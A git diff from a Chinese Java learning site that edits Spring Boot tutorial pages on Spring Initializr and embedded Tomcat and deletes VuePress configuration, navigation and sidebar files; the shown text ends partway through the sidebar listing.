+![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/initializr-01.png) + + +可以将 Spring Initializr 看作是 Spring Boot 项目的初始化向导,它可以帮助开发人员在一分钟之内创建一个 Spring Boot 骨架,非常的傻瓜式。 + +来解释一下 Spring Initializr 初始化界面中的关键选项。 + +1)Project:项目的构建方式,可以选择 [Maven](https://mp.weixin.qq.com/s/3umZOaI4l0EIZ5RgtEDchw) 和 Gradle(构建脚本基于 Groovy 或者 Kotlin 等语言来编写,而不是传统的 XML)。默认 Maven 即可。 + +2)Language:项目的开发语言,可以选择 Java、Kotlin(JetBrains开发的可以在 JVM 上运行的编程语言)、Groovy(可以作为 Java 平台的脚本语言来使用)。默认 Java 即可。 + +3)Spring Boot:项目使用的 Spring Boot 版本。默认版本即可,比较稳定。 + +4)Project Metada:项目的基础设置,包括包名、打包方式、JDK 版本等。 + +- Group:项目所属组织的标识符,比如说 vip.r2java; +- Artifact:项目的标识符,比如说 tobebetterjavaer; +- Name:默认保持和 Artifact 一致即可; +- Description: 项目的描述信息,比如说《Java 程序员进阶之路》; +- Package name:项目包名,根据Group和Artifact自动生成即可。 +- Packaging: 项目打包方式,可以选择 Jar 和 War(SSM 时代,JavaWeb 项目通常会打成 War 包,放在 Tomcat 下),Spring Boot 时代默认 Jar 包即可,因为 Spring Boot 可以内置 Tomcat、Jetty、Undertow 等服务容器了。 +- Java:项目选用的 JDK 版本,选择 11 或者 8 就行。 + +5)Dependencies:项目所需要的依赖和 starter。如果不选择的话,默认只有核心模块 spring-boot-starter 和测试模块 spring-boot-starter-test。 + +好,接下来我们使用 Spring Initializr 初始化一个 Web 项目,Project 选择 Maven,Spring Boot 选择 2.6.1,Java 选择 JDK 8,Dependencies 选择「Build web, including RESTful, applications using Spring MVC. Uses Apache Tomcat as the default embedded container.」 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/initializr-02.png) + + +这预示着我们会采用 SpringMVC 并且使用 Tomcat 作为默认服务器来开发一个 Web 项目。 + +然后点击底部的「generate」按钮,就会生成一个 Spring Boot 初始化项目的压缩包。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/initializr-03.png) + + +### 二、Spring Boot 项目结构分析 + +解开压缩包,并导入到 Intellij IDEA 中,可以看到 Spring Boot 项目的目录结构。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/initializr-04.png) + + +可以使用 `tree -CfL 3` 命令以树状图列出目录的内容: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/initializr-05.png) + + +- src/main/java 为项目的开发目录,业务代码在这里写。 +- src/main/resources 为配置文件目录,静态文件、模板文件和配置文件都放在这里。 + - 子目录 static 用于存放静态资源文件,比如说 JS、CSS 图片等。 + - 子目录 templates 用于存放模板文件,比如说 thymeleaf 和 freemarker 文件。 +- src/test/java 为测试类文件目录。 +- pom.xml 用来管理项目的依赖和构建。 + +### 三、启动 Spring Boot 项目 + +第一次启动,我个人习惯在 main 类中右键,在弹出的右键菜单这种选择「run ... main()」启动。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/initializr-06.png) + + +经过 2.5s 左右的 build 后,项目启动成功了,可以在日志中看到 Web 项目是以 Tomcat 为容器的,默认端口号为 8080,根路径为空。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/initializr-07.png) + + +这要比传统的 Web 项目省事省心省力,不需要打成 war 包,不需要把 war 包放到 Tomcat 的 webapp 目录下再启动。 + +那如果想把项目打成 jar 包放到服务器上,以 `java -jar xxx.jar` 形式运行的话,该怎么做呢? + +打开 Terminal 终端, 执行命令 `mvn clean package`,等待打包结果。 + + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/initializr-08.png) + + +我们的项目在初始化的时候选择的是 Maven 构建方式,所以 pom.xml 文件中会引入 spring-boot-maven-plugin 插件。 + +``` + + + + org.springframework.boot + spring-boot-maven-plugin + + + +``` + +因此我们就可以利用 Maven 命令来完成项目打包,打包完成后,进入 target 目录下,就可以看到打包好的 jar 包了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/initializr-09.png) + + +利用终端工具 [Tabby](https://mp.weixin.qq.com/s/HeUAPe4LqqjfzIeWDe8KIg),将 jar 包上传到服务器。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/initializr-10.png) + + +执行 `java -jar tobebetterjavaer-0.0.1-SNAPSHOT.jar` 命令。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/initializr-11.png) + + +what??????竟然没有安装 JDK。好吧,为了带白票阿里云服务器的小伙伴一起学习 Linux,我下了血本自己买了一台零添加的服务器。 + +PS:需要在 centos 环境下安装 JDK 的小伙伴可以看这篇。 + +>https://segmentfault.com/a/1190000015389941 + +安装好 JDK 后,再次执行命令就可以看到 Spring Boot 项目可以正常在服务器上跑起来了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/initializr-12.png) + + +### 四、开发第一个 Spring Boot 项目 + +项目既然启动成功了,我们在浏览器里访问 8080 端口测试下吧。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/initializr-13.png) + + +咦,竟然 Whitelabel 了,这个 404 页面是 Spring Boot 默认的错误页面,表示我们的请求在 Web 服务中不存在。 + +那该怎么办呢? + +我们来增加一个 Controller 文件,用来处理 Web 请求,内容如下。 + +``` +@Controller +public class HelloController { + + @GetMapping("/hello") + @ResponseBody + public String hello() { + return "hello, springboot"; + } +} +``` + +这段代码的业务逻辑非常简单,用户发送 hello 请求,服务器端响应一个“hello, springboot”回去。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/initializr-14.png) + + +OK,现在可以访问到了。也就表明我们的第一个 Spring Boot 项目开发完成了。 + +由于公众号的文章发布后不能修改,也没办法加个统一的目录作为索引页,所以二哥就把《Java 程序员进阶之路》的系列文章开源到了 GitHub(点击**阅读原文**可以直接跳转): + +>https://github.com/itwanger/toBeBetterJavaer + +每天看着 star 数的上涨我心里非常的开心,希望越来越多的 Java 爱好者能因为这个开源项目而受益,而**越来越多人的 star,也会激励我继续更新下去**~ \ No newline at end of file diff --git a/docs/src/springboot/tomcat.md b/docs/springboot/tomcat.md similarity index 89% rename from docs/src/springboot/tomcat.md rename to docs/springboot/tomcat.md index 8664d3337e..4a0264c846 100644 --- a/docs/src/springboot/tomcat.md +++ b/docs/springboot/tomcat.md @@ -1,13 +1,3 @@ ---- -category: - - Java企业级开发 -tag: - - Spring Boot ---- - - -# Spring Boot为什么不需要额外安装Tomcat? - 首次接触 Spring Boot 的时候,绝大多数小伙伴应该和我一样好奇: >为什么 Spring Boot 不需要额外安装 Tomcat 啊? @@ -33,16 +23,16 @@ tag: 如果你不确定自己的 Maven 本地仓库在哪里,可以在终端执行 `mvn help:effective-settings` 命令。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/springboot/tomcat-01.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/tomcat-01.png) 顺藤摸瓜,根据 parent 的 groupId、artifactId、version 可以锁定 spring-boot-starter-parent.pom 文件的位置。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/springboot/tomcat-02.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/tomcat-02.png) 使用文本编辑器打开以后大致可以看到以下内容: -![](https://cdn.paicoding.com/tobebetterjavaer/images/springboot/tomcat-03.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/tomcat-03.png) - 定义了 JDK 的版本为 1.8 - 项目默认的编码方式为 UTF-8 @@ -51,7 +41,7 @@ tag: 照葫芦画瓢,我们按照同样的方法找到 spring-boot-dependencies.pom 文件。可以看到这里面定义了一系列的属性和依赖,差不多 2800 行。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/springboot/tomcat-04.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/tomcat-04.png) 有消息队列依赖、commons 工具包依赖、数据库链接依赖、HTTP 链接依赖、Spring 家族依赖、Web 服务器依赖等等。 @@ -64,7 +54,7 @@ Spring Boot 会帮我们选好最稳定的新版本,这体现出了 Spring Boo 理解了这一点,我们再来继续看 pom.xml 文件,里面有一个 `spring-boot-starter-web` 依赖。这一次,我们直接按住 Ctrl 键(macOS 是 Command 键),点击鼠标左键就可以跳转到 spring-boot-starter-web.pom 的源文件了。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/springboot/tomcat-05.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/tomcat-05.png) 部分源码如下: @@ -160,17 +150,17 @@ spring-webmvc 是 Spring MVC 的一个实现。spring-webmvc 依赖于 spring-we 从这里可以看出来SpringBoot默认的启动容器是Tomcat,Tomcat 的组成核心 jakarta.annotation、tomcat-embed-core、tomcat-annotations-api、org.apache.tomcat.embed 全部都通过 Maven 引入过来了。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/springboot/tomcat-06.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/tomcat-06.png) core 的版本是 9.0.55,Tomcat 官网上最新的 9.0.x 版本是 9.0.56,高了一个版本。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/springboot/tomcat-07.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/tomcat-07.png) 不过无所谓,直接下载 9.0.56 的 src,对比看一下,是否大致相同。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/springboot/tomcat-08.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/springboot/tomcat-08.png) 对比之下可以看得出,Spring Boot 引入的 Tomcat 更精简一点,大体上都是相同的,这也就是**为什么Spring Boot 不需要额外安装 Tomcat 的根本原因了**。 diff --git a/docs/src/.vuepress/client.ts b/docs/src/.vuepress/client.ts deleted file mode 100644 index aa216a29ca..0000000000 --- a/docs/src/.vuepress/client.ts +++ /dev/null @@ -1,8 +0,0 @@ -import { defineClientConfig } from "vuepress/client"; -import MZNXQRcodeBanner from "./components/mznxqrcode.vue"; - -export default defineClientConfig({ - enhance: ({ app, router, siteData }) => { - app.component("MZNXQRcodeBanner", MZNXQRcodeBanner); - }, -}); \ No newline at end of file diff --git a/docs/src/.vuepress/components/mznxqrcode.vue b/docs/src/.vuepress/components/mznxqrcode.vue deleted file mode 100644 index 265f4455a3..0000000000 --- a/docs/src/.vuepress/components/mznxqrcode.vue +++ /dev/null @@ -1,23 +0,0 @@ - \ No newline at end of file diff --git a/docs/src/.vuepress/config.ts b/docs/src/.vuepress/config.ts deleted file mode 100644 index 26cb744abf..0000000000 --- a/docs/src/.vuepress/config.ts +++ /dev/null @@ -1,76 +0,0 @@ -import { defineUserConfig } from "vuepress"; - -import theme from "./theme.js"; - -export default defineUserConfig({ - base: "/", - - // HTML 目录 - dest: "./dist", - - lang: "zh-CN", - // 标题 - title: "二哥的Java进阶之路", - // 描述 - description: "一份通俗易懂、风趣幽默的Java学习指南,内容涵盖Java基础、Java并发编程、Java虚拟机、AI应用开发、大模型应用开发、求职面试等核心知识点。学Java/AI,就认准二哥的Java进阶之路", - - theme, - - // pwa 建议设置为 false - shouldPrefetch: false, - - head: [ - // meta - ["meta", { name: "robots", content: "all" }], - ["meta", { name: "author", content: "沉默王二" }], - [ - "meta", - { - "http-equiv": "Cache-Control", - content: "no-cache, no-store, must-revalidate", - }, - ], - ["meta", { "http-equiv": "Pragma", content: "no-cache" }], - ["meta", { "http-equiv": "Expires", content: "0" }], - [ - "meta", - { - name: "keywords", - content: - "Java, Java基础, 并发编程, JVM, 虚拟机, 数据库, MySQL, Spring, Redis, MyBatis, SpringBoot, IDEA, 求职面试, 面渣逆袭, 学习路线, AI应用开发, 大模型应用开发, Agent开发", - }, - ], - ["meta", { name: "apple-mobile-web-app-capable", content: "yes" }], - [ - "script",{}, - ` - var _hmt = _hmt || []; - (function() { - var hm = document.createElement("script"); - hm.src = "https://hm.baidu.com/hm.js?5230ac143650bf5eb3c14f3fb9b1d3ec"; - var s = document.getElementsByTagName("script")[0]; - s.parentNode.insertBefore(hm, s); - })(); - ` - ], - [ - "script",{}, - ` - var _hmt = _hmt || []; - (function() { - var hm = document.createElement("script"); - hm.src = "https://hm.baidu.com/hm.js?59aa453e7e706422c636c079fc1cb031"; - var s = document.getElementsByTagName("script")[0]; - s.parentNode.insertBefore(hm, s); - })(); - ` - ], - [ - "link", - { - rel: "stylesheet", - href: "//at.alicdn.com/t/font_3180624_7cy10l7jqqh.css", - }, - ], - ], -}); diff --git a/docs/src/.vuepress/navbar.ts b/docs/src/.vuepress/navbar.ts deleted file mode 100644 index 7baa18af25..0000000000 --- a/docs/src/.vuepress/navbar.ts +++ /dev/null @@ -1,54 +0,0 @@ -import { navbar } from "vuepress-theme-hope"; - -export default navbar([ - { - text: "博客", - icon: "gaishu", - link: "/blog.md" - }, - { - text: "进阶之路", - icon: "lujing", - link: "/home.md" - }, - { - text: "知识星球", - icon: "Artboard", - link: "/zhishixingqiu/" - }, - { - text: "学习路线", - icon: "luxian", - link: "/xuexiluxian/" - }, - { - text: "面渣逆袭", - icon: "zhunbei", - link: "/sidebar/sanfene/nixi.md" - }, - { - text: "珍藏资源", - icon: "youzhi", - children: [ - { - text: "PDF下载", - icon: "java", - link: "/pdf/readme.md" - }, - { - text: "求职", - icon: "zhongyaotishi", - link: "/sidebar/itwanger/qiuzhi/" - }, - { - text: "AI", - icon: "ai", - link: "/sidebar/itwanger/ai/" - }, - { - text: "上交大生存手册", - link: "/sidebar/sjtu/" - }, - ], - } -]); diff --git a/docs/src/.vuepress/public/assets/icon/apple-icon-152.png b/docs/src/.vuepress/public/assets/icon/apple-icon-152.png deleted file mode 100644 index 4e9a7f7afb..0000000000 Binary files a/docs/src/.vuepress/public/assets/icon/apple-icon-152.png and /dev/null differ diff --git a/docs/src/.vuepress/public/assets/icon/chrome-192.png b/docs/src/.vuepress/public/assets/icon/chrome-192.png deleted file mode 100644 index 51eac81bf0..0000000000 Binary files a/docs/src/.vuepress/public/assets/icon/chrome-192.png and /dev/null differ diff --git a/docs/src/.vuepress/public/assets/icon/chrome-512.png b/docs/src/.vuepress/public/assets/icon/chrome-512.png deleted file mode 100644 index c4c8300729..0000000000 Binary files a/docs/src/.vuepress/public/assets/icon/chrome-512.png and /dev/null differ diff --git a/docs/src/.vuepress/public/assets/icon/chrome-mask-192.png b/docs/src/.vuepress/public/assets/icon/chrome-mask-192.png deleted file mode 100644 index 51eac81bf0..0000000000 Binary files a/docs/src/.vuepress/public/assets/icon/chrome-mask-192.png and /dev/null differ diff --git a/docs/src/.vuepress/public/assets/icon/chrome-mask-512.png b/docs/src/.vuepress/public/assets/icon/chrome-mask-512.png deleted file mode 100644 index c4c8300729..0000000000 Binary files a/docs/src/.vuepress/public/assets/icon/chrome-mask-512.png and /dev/null differ diff --git a/docs/src/.vuepress/public/assets/icon/guide-maskable.png b/docs/src/.vuepress/public/assets/icon/guide-maskable.png deleted file mode 100644 index 75449b6098..0000000000 Binary files a/docs/src/.vuepress/public/assets/icon/guide-maskable.png and /dev/null differ diff --git a/docs/src/.vuepress/public/assets/icon/itwanger-282.png b/docs/src/.vuepress/public/assets/icon/itwanger-282.png deleted file mode 100644 index 834a25cca5..0000000000 Binary files a/docs/src/.vuepress/public/assets/icon/itwanger-282.png and /dev/null differ diff --git a/docs/src/.vuepress/public/assets/icon/itwanger-maskable.png b/docs/src/.vuepress/public/assets/icon/itwanger-maskable.png deleted file mode 100644 index b18a7cb484..0000000000 Binary files a/docs/src/.vuepress/public/assets/icon/itwanger-maskable.png and /dev/null differ diff --git a/docs/src/.vuepress/public/assets/icon/itwanger-monochrome.png b/docs/src/.vuepress/public/assets/icon/itwanger-monochrome.png deleted file mode 100644 index b18a7cb484..0000000000 Binary files a/docs/src/.vuepress/public/assets/icon/itwanger-monochrome.png and /dev/null differ diff --git a/docs/src/.vuepress/public/assets/icon/ms-icon-144.png b/docs/src/.vuepress/public/assets/icon/ms-icon-144.png deleted file mode 100644 index 7a0824506e..0000000000 Binary files a/docs/src/.vuepress/public/assets/icon/ms-icon-144.png and /dev/null differ diff --git a/docs/src/.vuepress/public/assets/image/advanced.svg b/docs/src/.vuepress/public/assets/image/advanced.svg deleted file mode 100644 index c27ede597a..0000000000 --- a/docs/src/.vuepress/public/assets/image/advanced.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/docs/src/.vuepress/public/assets/image/blog.svg b/docs/src/.vuepress/public/assets/image/blog.svg deleted file mode 100644 index 00fc40d792..0000000000 --- a/docs/src/.vuepress/public/assets/image/blog.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/docs/src/.vuepress/public/assets/image/box.svg b/docs/src/.vuepress/public/assets/image/box.svg deleted file mode 100644 index 9e6408ed04..0000000000 --- a/docs/src/.vuepress/public/assets/image/box.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/docs/src/.vuepress/public/assets/image/features.svg b/docs/src/.vuepress/public/assets/image/features.svg deleted file mode 100644 index 6d62739369..0000000000 --- a/docs/src/.vuepress/public/assets/image/features.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/docs/src/.vuepress/public/assets/image/github-dark.svg b/docs/src/.vuepress/public/assets/image/github-dark.svg deleted file mode 100644 index 37fa923df3..0000000000 --- a/docs/src/.vuepress/public/assets/image/github-dark.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/docs/src/.vuepress/public/assets/image/github-light.svg b/docs/src/.vuepress/public/assets/image/github-light.svg deleted file mode 100644 index d5e6491854..0000000000 --- a/docs/src/.vuepress/public/assets/image/github-light.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/docs/src/.vuepress/public/assets/image/layout.svg b/docs/src/.vuepress/public/assets/image/layout.svg deleted file mode 100644 index da754b58be..0000000000 --- a/docs/src/.vuepress/public/assets/image/layout.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/docs/src/.vuepress/public/assets/image/markdown.svg b/docs/src/.vuepress/public/assets/image/markdown.svg deleted file mode 100644 index 72056c9cdb..0000000000 --- a/docs/src/.vuepress/public/assets/image/markdown.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/docs/src/.vuepress/public/itwanger.png b/docs/src/.vuepress/public/itwanger.png deleted file mode 100644 index 1595fdd94b..0000000000 Binary files a/docs/src/.vuepress/public/itwanger.png and /dev/null differ diff --git a/docs/src/.vuepress/public/itwanger.svg b/docs/src/.vuepress/public/itwanger.svg deleted file mode 100644 index b7086153b6..0000000000 --- a/docs/src/.vuepress/public/itwanger.svg +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/docs/src/.vuepress/public/logo.svg b/docs/src/.vuepress/public/logo.svg deleted file mode 100644 index 42405a8e14..0000000000 --- a/docs/src/.vuepress/public/logo.svg +++ /dev/null @@ -1,60 +0,0 @@ - - - - - - - - - - - - - diff --git a/docs/src/.vuepress/sidebar.ts b/docs/src/.vuepress/sidebar.ts deleted file mode 100644 index cf08f18bf5..0000000000 --- a/docs/src/.vuepress/sidebar.ts +++ /dev/null @@ -1,747 +0,0 @@ -import { sidebar } from "vuepress-theme-hope"; - -export default sidebar({ - "/zhishixingqiu/": [ - "readme.md", - "jianli", - "paiflow", - "paismart", - "paismart-go", - "paicoding", - "pmhub", - "mianshi", - "map", - "qiuzhao-gongsi-mingdan", - ], - "/nice-article/itmind/": [ - "readme.md", - "shangwang.md", - ], - - // 你可以省略 .md 扩展名,以 / 结尾的路径会被推断为 /README.md(区分大小写) - "/pdf/": [ - "java30day", - "linux", - "java", - "programmer-111", - "java-concurrent", - "shejimoshi", - "java-leetcode", - "ali-java-shouce", - "yuanyifeng-c-language", - "bat-shuati", - "os", - "progit", - "jianli", - ], - "/xuexiluxian/": [ - { - text: "Java学习路线", - prefix: "java/", - collapsible: true, - children: [ - "yitiaolong", - "thread", - "jvm", - ], - }, - "mysql", - "redis", - "c", - "ccc", - "python", - "go", - "os", - "qianduan", - "algorithm", - "lanqiaobei", - "bigdata", - "android", - "donet", - "linux", - ], - "/sidebar/sanfene/": [ - "nixi", - "mysql", - "redis", - "spring", - "javase", - "collection", - "javathread", - "jvm", - "mybatis", - "os", - "network", - "rocketmq", - "fenbushi", - "weifuwu", - "shejimoshi", - "linux", - ], - "/sidebar/sjtu/": [ - { - text: "心得篇", - link: "fly/", - }, - { - text: "立志篇", - link: "li-zhi-pian/", - }, - { - text: "访谈篇", - link: "fang-tan-ji//", - }, - { - text: "人生篇", - link: "fu-lu/", - }, - { - text: "生存技巧篇", - link: "sheng-cun-ji-qiao/", - } - ], - // 必须放在最后面 - "/": [ - { - text: "一、前言", - link: "home", - }, - { - text: "二、Java基础", - collapsible: true, - children: [ - // readme小写一定要带上.md,否则找不到 - // Java核心开始 - { - prefix: "overview/", - text: "2.1 Java概述及环境配置", - collapsible: true, - children: [ - "readme.md", - "what-is-java", - "jdk-install-config", - "IDEA-install-config", - "hello-world", - ], - }, - { - text: "2.2 Java语法基础", - collapsible: true, - children: [ - "basic-extra-meal/48-keywords", - "basic-grammar/javadoc", - "basic-grammar/basic-data-type", - "basic-grammar/type-cast", - "basic-extra-meal/int-cache", - "basic-grammar/operator", - "basic-grammar/flow-control", - "basic-grammar/basic-exercise", - ], - }, - { - text: "2.3 数组&字符串", - collapsible: true, - children: [ - "array/array", - "array/double-array", - "array/print", - "string/string-source", - "string/immutable", - "string/constant-pool", - "string/intern", - "string/builder-buffer", - "string/equals", - "string/join", - "string/split", - ], - }, - { - text: "2.4 面向对象编程", - collapsible: true, - children: [ - "oo/object-class", - "oo/package", - "oo/var", - "oo/method", - "basic-extra-meal/varables", - "oo/native-method", - "oo/construct", - "oo/access-control", - "oo/code-init", - "oo/abstract", - "oo/interface", - "oo/inner-class", - "oo/encapsulation-inheritance-polymorphism", - "oo/this-super", - "oo/static", - "oo/final", - "basic-extra-meal/instanceof", - "basic-extra-meal/immutable", - "basic-extra-meal/override-overload", - "basic-extra-meal/annotation", - "basic-extra-meal/enum", - ], - }, - { - text: "2.5 集合框架(容器)", - collapsible: true, - prefix: "collection/", - children: [ - "gailan", - "arraylist", - "linkedlist", - "stack", - "hashmap", - "linkedhashmap", - "treemap", - "arraydeque", - "PriorityQueue", - "time-complexity", - "list-war-2", - "generic", - "iterator-iterable", - "fail-fast", - "comparable-omparator", - "WeakHashMap", - ], - }, - { - text: "2.6 Java IO", - collapsible: true, - prefix:"io/", - children: [ - "shangtou", - "file-path", - "stream", - "reader-writer", - "buffer", - "char-byte", - "serialize", - "Serializbale", - "transient", - "print", - ], - }, - { - text: "2.7 异常处理", - collapsible: true, - prefix:"exception/", - children: [ - "gailan", - "try-with-resources", - "shijian", - "npe", - "try-catch-xingneng", - ], - }, - { - text: "2.8 常用工具类", - collapsible: true, - prefix:"common-tool/", - children: [ - "scanner", - "arrays", - "StringUtils", - "Objects", - "collections", - "hutool", - "guava", - "utils", - ], - }, - { - text: "2.9 Java新特性", - prefix: "java8/", - link: "/java8/", - collapsible: true, - children: [ - "stream", - "optional", - "Lambda", - "java14", - ], - }, - { - text: "2.10 网络编程", - collapsible: true, - prefix: "socket/", - children: [ - "network-base", - "socket", - "http", - ], - }, - { - text: "2.11 NIO", - collapsible: true, - prefix: "nio/", - children: [ - "nio-better-io", - "BIONIOAIO", - "buffer-channel", - "paths-files", - "network-connect", - "moxing", - ], - }, - { - text: "2.12 Java重要知识点", - prefix:"basic-extra-meal/", - collapsible: true, - children: [ - "java-naming", - "java-unicode", - "box", - "deep-copy", - "hashcode", - "pass-by-value", - "true-generic", - "fanshe", - ], - }, - { - text: "2.13 并发编程", - collapsible: true, - prefix: "thread/", - children: [ - "readme.md", - "wangzhe-thread", - "callable-future-futuretask", - "thread-state-and-method", - "thread-group-and-thread-priority", - "why-need-thread", - "thread-bring-some-problem", - "jmm", - "volatile", - "synchronized-1", - "synchronized", - "pianxiangsuo", - "cas", - "aqs", - "lock", - "reentrantLock", - "ReentrantReadWriteLock", - "condition", - "LockSupport", - "map", - "ConcurrentHashMap", - "ConcurrentLinkedQueue", - "BlockingQueue", - "CopyOnWriteArrayList", - "ThreadLocal", - "pool", - "ScheduledThreadPoolExecutor", - "atomic", - "Unsafe", - "CountDownLatch", - "fork-join", - "shengchanzhe-xiaofeizhe", - ], - }, - { - text: "2.14 JVM", - prefix: "jvm/", - collapsible: true, - children: [ - "readme.md", - "what-is-jvm", - "how-run-java-code", - "class-load", - "class-file-jiegou", - "bytecode", - "vm-stack-register", - "zijiema-zhiling", - "stack-frame", - "neicun-jiegou", - "gc", - "gc-collector", - "whereis-the-object", - "jit", - "console-tools", - "view-tools", - "arthas", - "oom", - "cpu-percent-100", - "zongjie", - ], - }, - //Java核心结束 - ], - }, - { - text: "三、Java进阶", - collapsible: true, - children: [ - { - text: "3.1 开发/构建工具", - collapsible: true, - children: [ - { - text: "3.1.1 IDE", - collapsible: true, - children: [ - "ide/4-debug-skill", - "ide/xechat", - "ide/shenji-chajian-10", - ], - }, - { - text: "3.1.2 Maven", - collapsible: true, - children: [ - "maven/maven", - ], - }, - { - text: "3.1.3 Git", - collapsible: true, - prefix: "git/", - children: [ - "git-qiyuan", - "port-22-to-443", - ], - }, - { - text: "3.1.4 Nginx", - children: [ - "nginx/nginx", - ], - }, - ], - }, - { - text: "3.2 辅助工具", - collapsible: true, - children: [ - "gongju/choco", - "gongju/brew", - "gongju/tabby", - "gongju/warp", - "gongju/windterm", - "gongju/chiner", - "gongju/DBeaver", - ], - }, - { - text: "3.3 开源轮子", - collapsible: true, - children: [ - { - text: "HTTP调用框架Forest", - link: "gongju/forest", - }, - { - text: "单元测试Junit", - link: "gongju/junit", - }, - { - text: "阿里开源的fastjson", - link: "gongju/fastjson", - }, - { - text: "谷歌开源的Gson", - link: "gongju/gson", - }, - { - text: "SpringBoot内置的Jackson", - link: "gongju/jackson", - }, - { - text: "日志框架的鼻祖Log4j", - link: "gongju/log4j", - }, - { - text: "高性能日志框架Log4j2", - link: "gongju/log4j2", - }, - { - text: "Spring Boot内置的Logback", - link: "gongju/logback", - }, - { - text: "日志门面SLF4J", - link: "gongju/slf4j", - }, - - ], - }, - { - text: "3.4 Spring", - collapsible: true, - children: [ - "springboot/aop-log", - "springboot/ioc", - ], - }, - { - text: "3.5 Spring Boot", - collapsible: true, - children: [ - { - text: "搭建第一个Spring Boot项目", - link: "springboot/initializr", - }, - "springboot/lombok", - { - text: "整合MySQL和Druid", - link: "springboot/mysql-druid", - }, - { - text: "整合JPA", - link: "springboot/jpa", - }, - { - text: "整合Thymeleaf", - link: "springboot/thymeleaf", - }, - { - text: "开启事务支持", - link: "springboot/transaction", - }, - { - text: "过滤器、拦截器、监听器", - link: "springboot/Filter-Interceptor-Listener", - }, - { - text: "整合Redis实现缓存", - link: "redis/redis-springboot", - }, - { - text: "整合Logback", - link: "springboot/logback" - }, - { - text: "整合Swagger-UI", - link: "springboot/swagger" - }, - { - text: "整合Knife4j", - link: "gongju/knife4j" - }, - { - text: "整合SpringTask", - link: "springboot/springtask" - }, - { - text: "整合MyBatis-Plus AutoGenerator", - link: "kaiyuan/auto-generator", - }, - "springboot/quartz", - "springboot/mybatis", - "springboot/docker", - "springboot/macos-codingmore-run", - "springboot/windows-codingmore-run", - "springboot/linux-codingmore-run", - "springboot/validator", - ], - }, - { - text: "3.6 Netty", - collapsible: true, - children: [ - "netty/rumen", - ], - }, - { - text: "3.7 MongoDB", - collapsible: true, - children: [ - "mongodb/rumen", - ], - }, - { - text: "3.8 消息队列", - collapsible: true, - children: [ - { - text: "RabbitMQ入门", - link: "mq/rabbitmq-rumen" - }, - { - text: "如何保障消息不丢失", - link: "mq/100-budiushi" - }, - "mq/kafka", - ], - }, - { - text: "3.9 微服务/分布式", - collapsible: true, - children: [ - { - text: "Elasticsearch入门", - link: "elasticsearch/rumen" - }, - { - text: "聊聊ZooKeeper", - link: "zookeeper/jibenjieshao" - }, - { - text: "聊聊微服务网关", - link: "microservice/api-wangguan" - }, - ], - }, - ], - }, - { - text: "四、MySQL", - collapsible: true, - prefix: "mysql/", - children: [ - "install", - "database", - "table", - "data-type", - "charset", - "bin", - "column", - "select-simple", - "select-where", - "redis-shuju-yizhixing", - "lijie-shiwu", - "shiwu-shixian", - ], - }, - { - text: "五、Redis", - collapsible: true, - prefix: "redis/", - children: [ - "install", - "rumen", - "xuebeng-chuantou-jichuan", - ], - }, - { - text: "六、计算机基础", - collapsible: true, - prefix: "cs/", - children: [ - { - text: "计算机操作系统", - link: "os", - }, - { - text: "计算机网络", - link: "wangluo", - }, - ], - }, - { - text: "七、求职面试", - collapsible: true, - children: [ - { - text: "面试题&八股文", - collapsible: true, - prefix:"interview/", - children: [ - "java-34", - "java-hashmap-13", - "mysql-60", - "mysql-suoyin-15", - "redis-12", - "nginx-40", - "dubbo-17", - "kafka-40", - "java-basic-baguwen", - "java-thread-baguwen", - "java-jvm-baguwen", - "mianshiguan-bigfile-miaochuan", - "mianshiguan-fenkufenbiao", - "mianshiguan-youhuiquan", - ], - }, - { - text: "优质面经", - collapsible: true, - prefix:"mianjing/", - children: [ - "shanganaliyun", - "shezynmjfxhelmtttjddd", - "xuelybdzheloffer", - 